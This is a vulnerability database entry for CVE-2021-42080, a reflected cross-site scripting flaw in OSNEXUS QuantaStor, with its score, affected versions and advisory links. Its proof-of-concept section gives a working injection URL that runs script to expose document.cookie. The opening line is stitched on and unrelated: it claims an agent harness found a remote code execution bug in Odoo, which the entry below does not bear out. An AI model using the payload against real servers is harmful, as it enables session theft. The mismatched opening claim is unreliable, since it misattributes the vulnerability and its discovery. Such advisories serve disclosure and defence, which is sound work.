First day on Intigriti: our agent harness found and proved a remote code execution bug in Odoo's program.

CVE-2021-42080

HighCVSS 7.4/10Last modified Jun 17, 2026

Description

An attacker is able to launch a Reflected XSS attack using a crafted URL.

POC:

Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>

Metrics

CVSS 3.1 7.4/10CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Weakness enumeration

Affected software

Vendor	Product	Versions
OSNEXUS	QuantaStor	< 6.0.0.355

References

https://csirt.divd.nl/CVE-2021-42080Third Party Advisory
https://csirt.divd.nl/DIVD-2021-00020/
https://www.osnexus.com/products/software-defined-storageProduct
https://www.wbsec.nl/osnexusThird Party Advisory
https://csirt.divd.nl/CVE-2021-42080Third Party Advisory
https://www.divd.nl/DIVD-2021-00020
https://www.osnexus.com/products/software-defined-storageProduct
https://www.wbsec.nl/osnexusThird Party Advisory

Timeline

Published: Jul 10, 2023
Last modified: Jun 17, 2026
NVD status: Modified

Related CVEs from 2021

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